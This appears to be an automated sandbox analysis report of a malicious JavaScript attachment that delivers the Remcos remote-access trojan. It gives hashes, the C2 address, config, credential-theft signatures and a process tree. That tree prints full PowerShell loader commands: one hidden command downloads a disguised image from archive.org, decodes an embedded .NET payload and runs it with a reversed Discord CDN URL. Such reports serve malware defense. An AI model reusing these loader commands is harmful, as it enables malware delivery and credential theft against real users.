Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-09-2024 14:25

General

  • Target

    INQUIRY#46789-SEPT24.js

  • Size

    598KB

  • MD5

    c8b12fea7ec0d77f7eadb64361e5468a

  • SHA1

    f519767ce53d69819384afc7d545f3c5940ae717

  • SHA256

    337aa8b9b2cdaca9eae51830b6ccc6040339a93f3dd0f1946ffb0a697e4a9bb9

  • SHA512

    9b52cb572f6fdbb1c66ac582e41d2ed8fef9130e311f9b8b2429197c6c0ba7ab3776c5ca2d3140aee6a74ec79d824b0d8410a7b3f4469cf6b07435a89d554542

  • SSDEEP

    12288:SjoTUozZchVveIdNgwQrzQ6EFwg8VfEkNmDDjHO28gKMaNUeRWoTqLzBFdkVVM4X:QwJc8Fl2WI4T8LG

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

exe.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Extracted

Family

remcos

Botnet

AUG

C2

64.188.18.85:4455

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    xlorers.exe

  • copy_folder

    xlorers

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-R2Z38E

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\INQUIRY#46789-SEPT24.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4952
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQBhADYAMAAxADYAMAA2AC4AdQBzAC4AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AMQAwAC8AaQB0AGUAbQBzAC8AZABlAGEAdABoAG4AbwB0AGUAXwAyADAAMgA0ADAANwAvAGQAZQBhAHQAaABuAG8AdABlAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIA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hAHAALwA1ADgAOAA2ADUAMgA3ADgANwAzADUAMwA2ADAAMAAxADgAMgAxAC8AMgAyADgANgA5ADMANgA3ADkAOQA5ADQANgAyADgAMAA4ADIAMQAvAHMAdABuAGUAbQBoAGMAYQB0AHQAYQAvAG0AbwBjAC4AcABwAGEAZAByAG8AYwBzAGkAZAAuAG4AZABjAC8ALwA6AHMAcAB0AHQAaAAnACAALAAgACcAMQAnACAALAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAJwAgACwAIAAnAHIAaQB6AG8AZwByAGEAZgBpAGEAJwAsACcAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMAMwAyACcALAAnAGQAZQBzAGEAdABpAHYAYQBkAG8AJwApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('&66ce424598b12d0fd7f7c9375ae87f27360354916d1b21d8e2afd57cb301b844=mh&224d8d66=si&2a52ad66=xe?txt.ipap/5886527873536001821/2286936799946280821/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , '1' , 'C:\ProgramData\' , 'rizografia','AddInProcess32','desativado'))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4264
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\rizografia.js"
          4⤵
            PID:2420
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            4⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:4712
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\xegwneznboidzgrokpuxctqfxiskhpv"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1132
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\hylooxkhpwaijunsbahqnylofxjlaamwth"
              5⤵
                PID:1340
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\hylooxkhpwaijunsbahqnylofxjlaamwth"
                5⤵
                  PID:2436
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\hylooxkhpwaijunsbahqnylofxjlaamwth"
                  5⤵
                  • Accesses Microsoft Outlook accounts
                  • System Location Discovery: System Language Discovery
                  PID:4560
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\kbrhop"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1196

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          f41839a3fe2888c8b3050197bc9a0a05

          SHA1

          0798941aaf7a53a11ea9ed589752890aee069729

          SHA256

          224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

          SHA512

          2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          1a11402783a8686e08f8fa987dd07bca

          SHA1

          580df3865059f4e2d8be10644590317336d146ce

          SHA256

          9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

          SHA512

          5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymrg3c34.tgd.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\xegwneznboidzgrokpuxctqfxiskhpv

          Filesize

          4KB

          MD5

          faaa2b16df1bfc1a3792faaa35786349

          SHA1

          359534a59d7c5139ae205c24533ba60afdfb9f3f

          SHA256

          3586befc3b8b4da223e2ee0dcb00965ba5c0a205c14f2acefdeec7e46efddd5a

          SHA512

          2fbc79cace52a58e69ab983d034bb41ebb2496f767e18e5e4b31eefc4447c935d8614f744c71302e459350a05562fadc4c2355d76638b595e7cff1bb3d1618db

        • memory/1132-40-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/1132-47-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/1132-42-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/1196-43-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/1196-44-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/1196-45-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/2556-31-0x00007FF9893A0000-0x00007FF989E61000-memory.dmp

          Filesize

          10.8MB

        • memory/2556-12-0x00007FF9893A0000-0x00007FF989E61000-memory.dmp

          Filesize

          10.8MB

        • memory/2556-1-0x0000020B6DDD0000-0x0000020B6DDF2000-memory.dmp

          Filesize

          136KB

        • memory/2556-11-0x00007FF9893A0000-0x00007FF989E61000-memory.dmp

          Filesize

          10.8MB

        • memory/2556-0-0x00007FF9893A3000-0x00007FF9893A5000-memory.dmp

          Filesize

          8KB

        • memory/4264-22-0x000002167F480000-0x000002167F5A2000-memory.dmp

          Filesize

          1.1MB

        • memory/4560-41-0x0000000000400000-0x0000000000462000-memory.dmp

          Filesize

          392KB

        • memory/4560-46-0x0000000000400000-0x0000000000462000-memory.dmp

          Filesize

          392KB

        • memory/4560-48-0x0000000000400000-0x0000000000462000-memory.dmp

          Filesize

          392KB

        • memory/4712-33-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-59-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-24-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-35-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-39-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-37-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-32-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-34-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-36-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-54-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/4712-58-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/4712-30-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-57-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/4712-60-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-61-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-62-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-63-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-64-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-65-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-66-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-67-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-68-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4712-69-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB